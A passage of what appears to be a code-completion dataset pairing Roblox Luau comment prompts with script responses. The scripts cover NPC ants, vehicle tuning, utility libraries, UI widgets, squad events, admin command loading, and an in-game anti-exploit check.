								ant.Hum:MoveTo(ant.PrimaryPart.Position)
								ant.PrimaryPart.Chatter:Play()
								activeAnts[ant].anims.AntHold:Stop()
								activeAnts[ant].anims.AntWalk:Stop()
								activeAnts[ant].carrying:Destroy()
								activeAnts[ant].carrying = nil
								activeAnts[ant].destination = nil
								activeAnts[ant].target = nil
							end
						end
					end
				end
			end)--Help prevent breaking and faster responding times for ants.
		end--Shouldn't error now though.
	end
end)

manageAnts()


Prompt:
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data

Response:
return function(player, dialogueFolder)
	local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
	plrData.Money.Gold.Value = plrData.Money.Gold.Value - 5
	plrData.Character.Injuries.Burned.Value = false
end


Prompt: --("no gui found - adding")

Response:
local newgui=script.Parent.VehicleGui:clone()
newgui.Parent=pl.PlayerGui
newgui.Vehicle.Value=script.Parent.Parent
script.Parent.Parent.HasGunner.Value = true
newgui.Script.Disabled = false
newgui.EventScript.Disabled = false


Prompt: --[[Drivetrain]]

Response:
	Tune.Config			= "FWD"		--"FWD" , "RWD" , "AWD"

	--Differential Settings
	Tune.FDiffSlipThres	= 50		-- 1 - 100%				(Max threshold of applying full lock determined by deviation from avg speed)
	Tune.FDiffLockThres	= 50		-- 0 - 100%				(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
	Tune.RDiffSlipThres	= 50		-- 1 - 100%
	Tune.RDiffLockThres	= 50		-- 0 - 100%
	Tune.CDiffSlipThres	= 50		-- 1 - 100%				[AWD Only]
	Tune.CDiffLockThres	= 50		-- 0 - 100%				[AWD Only]

	--Traction Control Settings
	Tune.TCSEnabled		= true		-- Implements TCS
	Tune.TCSThreshold	= 20		-- Slip speed allowed before TCS starts working (in SPS)
	Tune.TCSGradient	= 4		-- Slip speed gradient between 0 to max reduction (in SPS)
	Tune.TCSLimit		= 10		-- Minimum amount of torque at max reduction (in percent)


Prompt:
--[[
    Gets the os.date of specified os.time, and then returns a formatted string of human readable data. If no format is
    specified, the string will fall back on the default format. Create formats by appending os.date keys with $.
]]

Response:
function ReadableDate.fromTime(time, format)
	local output = format or DEFAULT_FORMAT
	local dateTable = os.date("*t", time)

	for type, amount in pairs(dateTable) do
		output = string.gsub(output, string.format("$%s", type), tostring(amount))
	end

	return output
end

return ReadableDate


Response:
local _WHEELTUNE = {
																		--[[
			SS6 Presets
	[Eco]
		WearSpeed = 1,
		TargetFriction = .7,
		MinFriction = .1,
	[Road]
		WearSpeed = 2,
		TargetFriction = .7,
		MinFriction = .1,
	[Sport]
		WearSpeed = 3,
		TargetFriction = .79,
		MinFriction = .1,											]]

	TireWearOn 		= true	,

	--Friction and Wear
	FWearSpeed		= .4	,
	FTargetFriction	= .5	,
	FMinFriction 	= .1	,

	RWearSpeed		= .4	,
	RTargetFriction	= .7	,
	RMinFriction	= .1	,

	--Tire Slip
	TCSOffRatio		= 1/3	,
	WheelLockRatio	= 1/2	,	--SS6 Default = 1/4
	WheelspinRatio	= 1/1.1	,	--SS6 Default = 1/1.2

	--Wheel Properties
	FFrictionWeight	= 1		,	--SS6 Default = 1
	RFrictionWeight	= 1		,	--SS6 Default = 1
	FLgcyFrWeight	= 10	,
	RLgcyFrWeight	= 10	,

	FElasticity		= .5		,	--SS6 Default = .5
	RElasticity		= .5		,	--SS6 Default = .5
	FLgcyElasticity	= 0		,
	RLgcyElasticity	= 0		,

	FElastWeight	= 1		,	--SS6 Default = 1
	RElastWeight	= 1		,	--SS6 Default = 1
	FLgcyElWeight	= 10	,
	RLgcyElWeight	= 10	,

	--Wear Regen
	RegenSpeed		= 3.6		--SS6 Default = 3.6
}


Prompt: --[[Run]]

Response:
	--Print Version
	local ver=require(car["A-Chassis Tune"].README)
	print("//INSPARE: AC6 Loaded - Build "..ver)

	--Runtime Loop
	while wait() do
		--Steering
		Steering()

		--Powertrain
		Engine()

		--Flip
		if _Tune.AutoFlip then Flip() end

		--Update External Values
		_IsOn = car.DriveSeat.IsOn.Value
		_InControls = script.Parent.ControlsOpen.Value
		script.Parent.Values.Gear.Value = _CGear
		script.Parent.Values.RPM.Value = _RPM
		script.Parent.Values.Horsepower.Value = _HP
		script.Parent.Values.Torque.Value = _HP * 5250 / _RPM
		script.Parent.Values.TransmissionMode.Value = _TMode
		script.Parent.Values.Throttle.Value = _GThrot
		script.Parent.Values.Brake.Value = _GBrake
		script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))
		script.Parent.Values.SteerT.Value = _GSteerT
		script.Parent.Values.PBrake.Value = _PBrake
		script.Parent.Values.TCS.Value = _TCS
		script.Parent.Values.TCSActive.Value = _TCSActive
		script.Parent.Values.ABS.Value = _ABS
		script.Parent.Values.ABSActive.Value = _ABSActive
		script.Parent.Values.MouseSteerOn.Value = _MSteer
		script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity

	end


Prompt:
--[[**
	Gets whatever object is stored with the given index, if it exists. This was added since Maid allows getting the task using `__index`.
	@param [t:any] Index The index that the object is stored under.
	@returns [t:any?] This will return the object if it is found, but it won't return anything if it doesn't exist.
**--]]

Response:
function Janitor.__index:Get(Index)
	local This = self[IndicesReference]
	if This then
		return This[Index]
	end
end


Response:
while true do
	local p = game.Players:GetChildren()
	for i = 1,#p do
		if p[i].Character~=nil then
			if p[i].Character:findFirstChild("Torso")~=nil then
				if (p[i].Character.Torso.Position - script.Parent.Torso.Position).magnitude < 5 then
					local anim = Instance.new("StringValue")
					anim.Value = possibleAnims[math.random(1, #possibleAnims)]
					anim.Name = "Axe"
					anim.Parent = script.Parent.LinkedSword
				end
			end
		end
	end
	wait(0.5)
end


Prompt: -- Making Motor3D

Response:
local Joint = script.Parent.LimbsJoint

Joint.LeftLegAnimation.LeftL.Part1 = Joint.LeftLegAnimation
Joint.RightLegAnimation.RightL.Part1 = Joint.RightLegAnimation

Joint.LeftLegAnimation.LeftL.Part0 = script.Parent.UpperTorso
Joint.RightLegAnimation.RightL.Part0 = script.Parent.UpperTorso

Joint.LeftArmAnimation.LeftA.Part1 = Joint.LeftArmAnimation
Joint.RightArmAnimation.RightA.Part1 = Joint.RightArmAnimation

Joint.LeftArmAnimation.LeftA.Part0 = script.Parent.UpperTorso
Joint.RightArmAnimation.RightA.Part0 = script.Parent.UpperTorso


Prompt: --!strict

Response:
export type WeakMap<K, V> = {
	-- method definitions
	get: (self: WeakMap<K, V>, K) -> V,
	set: (self: WeakMap<K, V>, K, V) -> WeakMap<K, V>,
	has: (self: WeakMap<K, V>, K) -> boolean,
}

type WeakMapPrivate<K, V> = {
	_weakMap: { [K]: V },
	-- method definitions
	get: (self: WeakMapPrivate<K, V>, K) -> V,
	set: (self: WeakMapPrivate<K, V>, K, V) -> WeakMapPrivate<K, V>,
	has: (self: WeakMapPrivate<K, V>, K) -> boolean,
}
type WeakMap_Statics = {
	new: <K, V>() -> WeakMap<K, V>,
}

local WeakMap: WeakMapPrivate<any, any> & WeakMap_Statics = {} :: any;
(WeakMap :: any).__index = WeakMap

function WeakMap.new<K, V>(): WeakMap<K, V>
	local weakMap = setmetatable({}, { __mode = "k" })
	return setmetatable({ _weakMap = weakMap }, WeakMap) :: any
end

function WeakMap:get(key)
	return self._weakMap[key]
end

function WeakMap:set(key, value)
	self._weakMap[key] = value
	return self
end

function WeakMap:has(key): boolean
	return self._weakMap[key] ~= nil
end

return WeakMap :: WeakMap<any, any> & WeakMap_Statics


Prompt: --<DON'T TOUCH THE SCRIPT UNLESS YOU KNOW WHAT YOU ARE DOING!

Response:
local RS = game:GetService('ReplicatedStorage')
local TS = game:GetService('TweenService')

local Tool = script.Parent
local TextureArray = {}

local Activated = false
local Debounce = false
local Cooldown = 1
local Prop = nil
local LaughAnim = nil

Tool.Activated:Connect(function()
	if not Debounce then
		Debounce = true
		task.delay(Cooldown, function()
			Debounce = false
		end)

		local Character = Tool.Parent

		if not Activated then
			Activated = true

			LaughAnim = Character.Humanoid:LoadAnimation(RS.SkyV4.Laugh)
			LaughAnim:Play()
			Character.HumanoidRootPart.Anchored = true

			Prop = RS.SkyV4.Props.Wings:Clone()
			Prop.Parent = Character

			local Attachment = Instance.new('Attachment')
			Attachment.Parent = Character.HumanoidRootPart
			Attachment.Position = Vector3.new(0,-2.5,0)

			local Wave = RS.SkyV4.Effects.Wave:Clone()
			Wave.Parent = Attachment

			local Smoke = RS.SkyV4.Effects.Smoke:Clone()
			Smoke.Parent = Character.HumanoidRootPart

			local Pixel = RS.SkyV4.Effects.Pixel:Clone()
			Pixel.Parent = Character.HumanoidRootPart

			local Laugh = RS.SkyV4.Sound.Laugh:Clone()
			Laugh.Parent = Character.HumanoidRootPart

			local SmokeSound = RS.SkyV4.Sound.Smoke:Clone()
			SmokeSound.Parent = Character.HumanoidRootPart

			Laugh:Play()

			task.delay(1.6,function()
				Laugh:Destroy()
				task.wait(0.25)
				Character.HumanoidRootPart.Anchored = false
				LaughAnim:Stop()
			end)

			SmokeSound:Play()

			local Tween = TS:Create(SmokeSound, TweenInfo.new(1.5), {Volume = 0})
			Tween:Play()

			Tween.Completed:Connect(function()
				SmokeSound:Destroy()
			end)

			Wave:Emit(2)
			Smoke:Emit(100)
			Pixel:Emit(50)

			for _, Item in ipairs(Character.Humanoid:GetAccessories()) do
				local Hair = Item.Handle:FindFirstChild("HairAttachment") ~= nil
				if Hair then
					TextureArray[Item] = {TextureID = Item.Handle.TextureID, Color = Item.Handle.Color, Material = Item.Handle.Material}
					Item.Handle.Color = Color3.fromRGB(255, 255, 0)
					Item.Handle.TextureID = ''
					Item.Handle.Material = Enum.Material.Neon
				end
			end

		elseif Activated then
			Activated = false

			local Tween = TS:Create(Prop.Handle, TweenInfo.new(0.5), {Transparency = 1})
			Tween:Play()

			Tween.Completed:Connect(function()
				Prop:Destroy()
			end)

			for _, Item in ipairs(Character.Humanoid:GetAccessories()) do
				local Hair = Item.Handle:FindFirstChild("HairAttachment") ~= nil
				if Hair then
					Item.Handle.Color = TextureArray[Item].Color
					Item.Handle.Material = TextureArray[Item].Material
					Item.Handle.TextureID = TextureArray[Item].TextureID
					TextureArray[Item] = nil
				end
			end
		end
	end
end)


Prompt:
-----------------------------------------------------------
----------------------- STATIC DATA -----------------------
-----------------------------------------------------------

Response:
local RunService = game:GetService("RunService")
local table = require(script.Parent:WaitForChild("Table"))
local Signal = require(script.Parent:WaitForChild("Signal"))
local FastCast = nil -- Static reference to the FastCast static module.


Prompt:
--[=[
	Constructs a new Maid which will clean up when the brio dies.
	Will error if the Brio is dead.

	:::info
	Calling this while the brio is already dead will throw a error.
	:::

	```lua
	local brio = Brio.new("a")
	local maid = brio:ToMaid()
	maid:GiveTask(function()
		print("Cleaning up!")
	end)
	brio:Kill() --> Cleaning up!
	```

	@return Maid
]=]

Response:
function Brio:ToMaid()
	assert(self._values ~= nil, "Brio is dead")

	local maid = Maid.new()

	maid:GiveTask(self:GetDiedSignal():Connect(function()
		maid:DoCleaning()
	end))

	return maid
end


Prompt: -- Also set this to true if you want the thumbstick to not affect throttle, only triggers when a gamepad is conected

Response:
local onlyTriggersForThrottle = false
local ZERO_VECTOR3 = Vector3.new(0,0,0)

local bindAtPriorityFlagExists, bindAtPriorityFlagEnabled = pcall(function()
	return UserSettings():IsUserFeatureEnabled("UserPlayerScriptsBindAtPriority")
end)
local FFlagPlayerScriptsBindAtPriority = bindAtPriorityFlagExists and bindAtPriorityFlagEnabled


Prompt: ---Strobe SCRIPT, DO NOT EDIT!---

Response:
for i,v in pairs(game.workspace.PLights:GetChildren()) do
	spawn(function()
		while true do
			wait(math.random())
			v.MLSelling.Dimmer:Invoke(180)
			wait(0.001)
			v.MLSelling.Dimmer:Invoke(0)

		end
	end)
end


Prompt:
--[[
	Manages batch updating of spring objects.
]]

Response:
local RunService = game:GetService("RunService")

local Package = script.Parent.Parent
local PubTypes = require(Package.PubTypes)
local Types = require(Package.Types)
local packType = require(Package.Animation.packType)
local springCoefficients = require(Package.Animation.springCoefficients)
local updateAll = require(Package.Dependencies.updateAll)
local logError = require(Package.Logging.logError)

type Set<T> = {[T]: any}
type Spring = Types.Spring<any>

local SpringScheduler = {}

local WEAK_KEYS_METATABLE = {__mode = "k"}


Prompt: -- If you want to know how to retexture a hat, read this:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388

Response:
debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Handle"   -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle"
		p.formFactor = 0
		p.Size = Vector3.new(2, 2, 2)
		p.BottomSurface = 0
		p.TopSurface = 0
		p.Locked = true
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0, 0.300000012, 0.219999999) -- Change these to change the positiones of your hat, as I said earlier.
		wait(5)		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)


Prompt: ----- Modules

Response: local CooldownModule = require(RS.Modules.CooldownGui)


Prompt:
--[[
	Returns the target CFrame for the camera while in Dead mode
]]

Response:
function CameraStateDead.getTargetCFrame(targetPart)
	local _, yaw, _ = targetPart.CFrame:toEulerAnglesYXZ()

	return CFrame.new(targetPart.CFrame.p) * CFrame.fromEulerAnglesYXZ(0, yaw, 0) * CFrame.new(0, 15, 10) * -- Offset
		CFrame.Angles(math.rad(-20), 0, 0) -- Rotation
end


Prompt:
--[=[
	Retrieves an attribute, and if it is nil, returns the default
	instead.
	@param instance Instance
	@param attributeName string
	@param default T?
	@return T?
]=]

Response:
function AttributeUtils.getAttribute(instance, attributeName, default)
	local value = instance:GetAttribute(attributeName)
	if value == nil then
		return default
	end

	return value
end


Prompt:
--[=[
	@within Plasma
	@function checkbox
	@tag widgets
	@param label string -- The label for the checkbox
	@param options {disabled: boolean, checked: boolean}
	@return CheckboxWidgetHandle

	A checkbox. A checkbox may either be controlled or uncontrolled.

	By passing the `checked` field in `options`, you make the checkbox controlled. Controlling the checkbox means that
	the checked state is controlled by your code. Otherwise, the controlled state is controlled by the widget itself.

	Returns a widget handle, which has the fields:

	- `checked`, a function you can call to check if the checkbox is checked
	- `clicked`, a function you can call to check if the checkbox was clicked this frame

	![Checkboxes](https://i.eryn.io/2150/9Yg31gc8.png)

	```lua
	Plasma.window("Checkboxes", function()
		if Plasma.checkbox("Controlled checkbox", {
			checked = checked,
		}):clicked() then
			checked = not checked
		end

		Plasma.checkbox("Disabled checkbox", {
			checked = checked,
			disabled = true,
		})

		Plasma.checkbox("Uncontrolled checkbox")
	end)
	```
]=]

Response:
local Runtime = require(script.Parent.Parent.Runtime)
local create = require(script.Parent.Parent.create)

return Runtime.widget(function(text, options)
	options = options or {}

	local checked, setChecked = Runtime.useState(false)
	local clicked, setClicked = Runtime.useState(false)

	local refs = Runtime.useInstance(function(ref)
		local Checkbox = create("Frame", {
			[ref] = "checkbox",
			BackgroundTransparency = 1,
			Name = "Checkbox",
			Size = UDim2.new(0, 30, 0, 30),
			AutomaticSize = Enum.AutomaticSize.X,

			create("TextButton", {
				BackgroundColor3 = Color3.fromRGB(54, 54, 54),
				BorderSizePixel = 0,
				Font = Enum.Font.SourceSansBold,
				Size = UDim2.new(0, 30, 0, 30),
				TextColor3 = Color3.fromRGB(153, 153, 153),
				TextSize = 24,

				create("UICorner", {
					CornerRadius = UDim.new(0, 8),
				}),

				Activated = function()
					setClicked(true)
					setChecked(function(currentlyChecked)
						return not currentlyChecked
					end)
				end,
			}),

			create("TextLabel", {
				BackgroundColor3 = Color3.fromRGB(255, 255, 255),
				Font = Enum.Font.GothamMedium,
				TextColor3 = Color3.fromRGB(203, 203, 203),
				TextSize = 18,
				AutomaticSize = Enum.AutomaticSize.X,
				RichText = true,
			}),

			create("UIListLayout", {
				FillDirection = Enum.FillDirection.Horizontal,
				Padding = UDim.new(0, 10),
				SortOrder = Enum.SortOrder.LayoutOrder,
				VerticalAlignment = Enum.VerticalAlignment.Center,
			}),
		})

		return Checkbox
	end)

	local instance = refs.checkbox

	instance.TextLabel.Text = text
	instance.TextButton.AutoButtonColor = not options.disabled

	Runtime.useEffect(function()
		local isChecked
		if options.checked ~= nil then
			isChecked = options.checked
		else
			isChecked = checked
		end

		instance.TextButton.Text = isChecked and "✓" or ""
	end, options.checked, checked)

	Runtime.useEffect(function()
		instance.TextButton.BackgroundColor3 = options.disabled and Color3.fromRGB(112, 112, 112)
			or Color3.fromRGB(54, 54, 54)
	end, options.disabled)

	local handle = {
		checked = function()
			if options.checked or checked then
				return true
			end

			return false
		end,
		clicked = function()
			if clicked then
				setClicked(false)
				return true
			end

			return false
		end,
	}

	return handle
end)


Prompt: --DO NOT EDIT BELOW!

Response:
while wait() do
	Main.Money.Text = Money.Value
end


Prompt:
--[[
	Returns the current value of this Spring object.
	The object will be registered as a dependency unless `asDependency` is false.
]]

Response:
function class:get(asDependency: boolean?)
	if asDependency ~= false then
		useDependency(self)
	end
	return self._currentValue
end


Prompt:
--// Commands
--// Highly recommended you disable Intellesense before editing this...

Response:
return function(Vargs)
	local server = Vargs.Server;
	local service = Vargs.Service;
	local Settings = server.Settings
	local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps

	local function Init()
		Functions = server.Functions;
		Admin = server.Admin;
		Anti = server.Anti;
		Core = server.Core;
		HTTP = server.HTTP;
		Logs = server.Logs;
		Remote = server.Remote;
		Process = server.Process;
		Variables = server.Variables;
		Commands = server.Commands;
		Deps = server.Deps;

		--// Automatic New Command Caching and Ability to do server.Commands[":ff"]
		setmetatable(Commands, {
			__index = function(self, ind)
				local targInd = Admin.CommandCache[ind:lower()]
				if targInd then
					return rawget(Commands, targInd)
				end
			end;

			__newindex = function(self, ind, val)
				rawset(Commands, ind, val)
				if val and type(val) == "table" and val.Commands and val.Prefix then
					for i,cmd in next,val.Commands do
						Admin.PrefixCache[val.Prefix] = true;
						Admin.CommandCache[(val.Prefix..cmd):lower()] = ind;
					end
				end
			end;
		})

		Logs:AddLog("Script", "Loading Command Modules...")

		--// Load command modules
		if server.CommandModules then
			for i,module in next,server.CommandModules:GetChildren() do
				local func = require(module)
				local ran,tab = pcall(func, Vargs, getfenv())

				if ran and tab and type(tab) == "table" then
					for ind,cmd in next,tab do
						Commands[ind] = cmd;
					end

					Logs:AddLog("Script", "Loaded Command Module: ".. module.Name)
				elseif not ran then
					warn("CMDMODULE ".. module.Name .. " failed to load:")
					warn(tostring(tab))
					Logs:AddLog("Script", "Loading Command Module Failed: ".. module.Name)
				end
			end
		end

		--// Cache commands
		Admin.CacheCommands();

		Logs:AddLog("Script", "Commands Module Initialized")
	end;

	server.Commands = {
		Init = Init;
	};
end


Prompt: -- events

Response:
REMOTES.Kick.OnServerEvent:Connect(function(player, other)
	local squad	= GetSquad(other)

	if squad then
		if player.Name == squad.Leader.Value then
			LeaveSquad(other)
		end
	end
end)

REMOTES.SetLeader.OnServerEvent:Connect(function(player, other)
	local squad	= GetSquad(other)

	if squad then
		if player.Name == squad.Leader.Value then
			squad.Leader.Value	= other.Name
		end
	end
end)

REMOTES.ToggleQueue.OnServerEvent:connect(function(player)
	local squad	= GetSquad(player)

	if squad then
		if player.Name == squad.Leader.Value then
			if squad.Queue.Value == "Solo" then
				squad.Queue.Value	= "Squad"
			elseif squad.Queue.Value == "Squad" then
				if #squad.Players:GetChildren() <= 1 then
					squad.Queue.Value	= "Solo"
					squad.Fill.Value	= false
				end
			end
		end
	end
end)

REMOTES.ToggleFill.OnServerEvent:connect(function(player)
	local squad	= GetSquad(player)

	if squad then
		if player.Name == squad.Leader.Value then
			if squad.Queue.Value == "Solo" then
				squad.Fill.Value	= false
			else
				squad.Fill.Value	= not squad.Fill.Value
			end
		end
	end
end)

REMOTES.SendInvite.OnServerEvent:connect(function(from, to)
	local squad	= GetSquad(from)

	if squad.Leader.Value == from.Name then
		if #squad.Players:GetChildren() < MAX_SQUAD_SIZE then
			local success	= false
			pcall(function()
				response	= REMOTES.RespondToInvite:InvokeClient(to, from.Name)
			end)

			if response and from:IsDescendantOf(Players) then
				local squad	= GetSquad(from)
				if #squad.Players:GetChildren() < MAX_SQUAD_SIZE then
					AddPlayerToSquad(to, squad)
				end
			end
		end
	end
end)

REMOTES.Ready.OnServerEvent:connect(function(player, ready)
	local squad	= GetSquad(player)

	if squad then
		squad.Players[player.Name].Value	= ready
	end
end)

REMOTES.LeaveSquad.OnServerEvent:connect(function(player)
	LeaveSquad(player)
end)

Players.PlayerAdded:connect(function(player)
	local info		= player:GetJoinData()
	local squadName	= info.TeleportData

	PLAYER_DATA:WaitForChild(player.Name)

	if squadName then
		local currentSquad	= SQUADS:FindFirstChild(squadName)

		if currentSquad then
			if #currentSquad.Players:GetChildren() < MAX_SQUAD_SIZE then
				AddPlayerToSquad(player, currentSquad)
			else
				AddPlayerToSquad(player, CreateSquad())
			end
		else
			AddPlayerToSquad(player, CreateSquad(squadName))
		end
	else
		AddPlayerToSquad(player, CreateSquad())
	end
end)

Players.PlayerRemoving:connect(function(player)
	RemovePlayer(player)
end)


Prompt:
--[=[
	Accepts an array of Promises and returns a Promise that is resolved as soon as `count` Promises are resolved from the input array. The resolved array values are in the order that the Promises resolved in. When this Promise resolves, all other pending Promises are cancelled if they have no other consumers.

	`count` 0 results in an empty array. The resultant array will never have more than `count` elements.

	```lua
	local promises = {
		returnsAPromise("example 1"),
		returnsAPromise("example 2"),
		returnsAPromise("example 3"),
	}

	return Promise.some(promises, 2) -- Only resolves with first 2 promises to resolve
	```

	@param promises {Promise<T>}
	@param count number
	@return Promise<{T}>
]=]

Response:
function Promise.some(promises, amount)
	assert(type(amount) == "number", "Bad argument #2 to Promise.some: must be a number")

	return Promise._all(debug.traceback(nil, 2), promises, amount)
end


Prompt: --functions

Response:
function pose1()
	local player = game.Players.LocalPlayer
	if (player == nil) then return end
	char = player.Character
	Rshoulder = char.Torso:findFirstChild("Right Shoulder")
	Lshoulder = char.Torso:findFirstChild("Left Shoulder")
	Rhip = char.Torso:findFirstChild("Right Hip")
	Lhip = char.Torso:findFirstChild("Left Hip")
	if (Rshoulder ~= nil) then Rshoulder.DesiredAngle = 0 end
	if (Lshoulder ~= nil) then Lshoulder.DesiredAngle = 0 end
	if (Rhip ~= nil) then Rhip.DesiredAngle = 0 end
	if (Lhip ~= nil) then Lhip.DesiredAngle = 0 end
end

function noanimate()
	local player = game.Players.LocalPlayer
	if (player == nil) then return end
	char = player.Character
	local Anim = char:findFirstChild("Animate")
	if (Anim ~= nil) then
		Anim.Parent = player
	end
end

function animate()
	local player = game.Players.LocalPlayer
	if (player == nil) then return end
	char = player.Character
	local Anim = player:findFirstChild("Animate")
	if (Anim ~= nil) then
		Anim.Parent = char
		wait()
		Rshoulder = char.Torso:findFirstChild("Right Shoulder")
		Lshoulder = char.Torso:findFirstChild("Left Shoulder")
		Rhip = char.Torso:findFirstChild("Right Hip")
		Lhip = char.Torso:findFirstChild("Left Hip")
		if (Rshoulder ~= nil) then
			Rshoulder.Parent = nil
			Rshoulder.Parent = char.Torso
		end
		if (Lshoulder ~= nil) then
			 Lshoulder.Parent = nil
			 Lshoulder.Parent = char.Torso
		end
		if (Rhip ~= nil) then
			 Rhip.Parent = nil
			 Rhip.Parent = char.Torso
		end
		if (Lhip ~= nil) then
			 Lhip.Parent = nil
			 Lhip.Parent = char.Torso end
		end
end

function FalconPUUUNCH(mouse)
	local player = game.Players.LocalPlayer
	if (player == nil) then return end
	char = player.Character
	if (punchload == false) then
		Rarm = char:findFirstChild("Right Arm")
		Torso = char.Torso
		Rshoulder = Torso:findFirstChild("Right Shoulder")
		if (Rarm ~= nil) and (Rshoulder ~= nil) then
			punchload = true
			mouse.Icon = "rbxasset://textures\\GunWaitCursor.png"
			noanimate()
			pose1()
			Rshoulder.MaxVelocity = 1
			Rshoulder.DesiredAngle = 0
			wait(0.5)
			hurtc = hurt:clone()
			hurtc.Disabled = false
			hurtc.Parent = Rarm
			hurtc.Owner.Value = player.Name
			Rshoulder.DesiredAngle = 2
			wait(0.1)
			Rshoulder.MaxVelocity = 0.1
			wait(1)
			while hurtc.Enabled.Value == true do
				wait(0.1)
			end
			hurtc:remove()
			animate()
			punchload = false
			mouse.Icon = "rbxasset://textures\\GunCursor.png"
		end
	end
end


Prompt: -- Local Variables

Response:
local IntermissionRunning = false
local EnoughPlayers = false
local GameRunning = false
local Events = ReplicatedStorage.Events
local CaptureFlag = Events.CaptureFlag
local ReturnFlag = Events.ReturnFlag


Prompt: --Glenn's Anti-Exploit System (GAE for short). This code is very ugly, but does job done

Response:
local function SecureSettings(Player, Gun, Module)
	if Player then
		local PreNewModule = Gun:FindFirstChild("Setting")
		if Gun and PreNewModule then
			local NewModule = require(PreNewModule)
			if (CompareTables(Module, NewModule) == false) then
				if KickPlayer then
					Player:Kick("You have been kicked and blocked from rejoining this specific server for exploiting gun stats.")
					warn(Player.Name.." has been kicked for exploiting gun stats.")
					table.insert(_G.TempBannedPlayers, Player)
				else
					warn(Player.Name.." - Potential Exploiter Bypass! Case 2: Changed Gun Stats From Client")
				end
				return
			end
		else
		--[[if KickPlayer then
			Player:Kick("Gun and Module are not found. Kicked!")
			warn("Gun and Module are missing from "..Player.Name.."'s inventory.")
		else
			warn(Player.Name.." - Potential Exploiter Bypass! Case 1: Missing Gun And Module")
		end]]
			warn(Player.Name.." - Potential Exploiter Bypass! Case 1: Missing Gun And Module")
			return
		end
	else
		warn("Player does not exist.")
		return
	end
end

function _G.SecureSettings(Player, Gun, Module)
	SecureSettings(Player, Gun, Module)
end

VisualizeHitEffect.OnServerEvent:Connect(function(Player, Type, Replicate, Hit, Position, Normal, Material, ...)
	local Table = {...}
	if Type == "Normal" then
		for _, plr in next, Players:GetPlayers() do
			if plr ~= Player then
				VisualizeHitEffect:FireClient(plr, Type, Replicate, Hit, Position, Normal, Material, Table[1], Table[2], Table[3], nil)
			end
		end
	elseif Type == "Blood" then
		for _, plr in next, Players:GetPlayers() do
			if plr ~= Player then
				VisualizeHitEffect:FireClient(plr, Type, Replicate, Hit, Position, Normal, Material, Table[1], Table[2], nil)
			end
		end
	end
end)

VisualizeBullet.OnServerEvent:Connect(function(Player, Module, Tool, Handle, Directions, FirePointObject, HitEffectData, BloodEffectData, BulletHoleData, ExplosiveData, BulletData, WhizData, ClientData)
	for _, plr in next, Players:GetPlayers() do
		if plr ~= Player then
			VisualizeBullet:FireClient(plr, Module, Tool, Handle, Directions, FirePointObject, HitEffectData, BloodEffectData, BulletHoleData, ExplosiveData, BulletData, WhizData, ClientData)
		end
	end
end)

VisualizeMuzzle.OnServerEvent:Connect(function(Player, Handle, MuzzleFlashEnabled, MuzzleLightData, MuzzleEffect, Replicate)
	for _, plr in next, Players:GetPlayers() do
		if plr ~= Player then
			VisualizeMuzzle:FireClient(plr, Handle, MuzzleFlashEnabled, MuzzleLightData, MuzzleEffect, Replicate)
		end
	end
end)

PlayAudio.OnServerEvent:Connect(function(Player, Audio, LowAmmoAudio, Replicate)
	for _, plr in next, Players:GetPlayers() do
		if plr ~= Player then
			PlayAudio:FireClient(plr, Audio, LowAmmoAudio, Replicate)
		end
	end
end)

ShatterGlass.OnServerEvent:Connect(function(Player, Hit, Pos, Dir)
	if Hit then
		if Hit.Name == "_glass" then
			if Hit.Transparency ~= 1 then
				if PhysicEffect then
					local Sound = Instance.new("Sound")
					Sound.SoundId = "http://roblox.com/asset/?id=2978605361"
					Sound.TimePosition = .1
					Sound.Volume = 1
					Sound.Parent = Hit
					Sound:Play()
					Sound.Ended:Connect(function()
						Sound:Destroy()
			        end)
					GlassShattering:Shatter(Hit, Pos, Dir + Vector3.new(math.random(-25, 25), math.random(-25, 25), math.random(-25, 25)))
					--[[local LifeTime = 5
					local FadeTime = 1
					local SX, SY, SZ = Hit.Size.X, Hit.Size.Y, Hit.Size.Z
					for X = 1, 4 do
						for Y = 1, 4 do
							local Part = Hit:Clone()
							local position = Vector3.new(X - 2.1, Y - 2.1, 0) * Vector3.new(SX / 4, SY / 4, SZ)
							local currentTransparency = Part.Transparency
							Part.Name = "_shatter"
							Part.Size = Vector3.new(SX / 4, SY / 4, SZ)
							Part.CFrame = Hit.CFrame * (CFrame.new(Part.Size / 8) - Hit.Size / 8 + position)
							Part.Velocity = Vector3.new(math.random(-10, 10), math.random(-10, 10), math.random(-10, 10))
							Part.Parent = workspace
							--Debris:AddItem(Part, 10)
							task.delay(LifeTime, function()
								if Part.Parent ~= nil then
									if LifeTime > 0 then
										local t0 = os.clock()
										while true do
											local Alpha = math.min((os.clock() - t0) / FadeTime, 1)
											Part.Transparency = Math.Lerp(currentTransparency, 1, Alpha)
							    			if Alpha == 1 then break end
						      				task.wait()
										end
										Part:Destroy()
									else
										Part:Destroy()
					    			end
								end
							end)
							Part.Anchored = false
						end
					end]]
				else
					local Sound = Instance.new("Sound")
					Sound.SoundId = "http://roblox.com/asset/?id=2978605361"
					Sound.TimePosition = .1
					Sound.Volume = 1
					Sound.Parent = Hit
					Sound:Play()
					Sound.Ended:Connect(function()
						Sound:Destroy()
			        end)
					local Particle = script.Shatter:Clone()
					Particle.Color = ColorSequence.new(Hit.Color)
					Particle.Transparency = NumberSequence.new{
						NumberSequenceKeypoint.new(0, Hit.Transparency), --(time, value)
						NumberSequenceKeypoint.new(1, 1)
					}
					Particle.Parent = Hit
					task.delay(0.01, function()
						Particle:Emit(10 * math.abs(Hit.Size.magnitude))
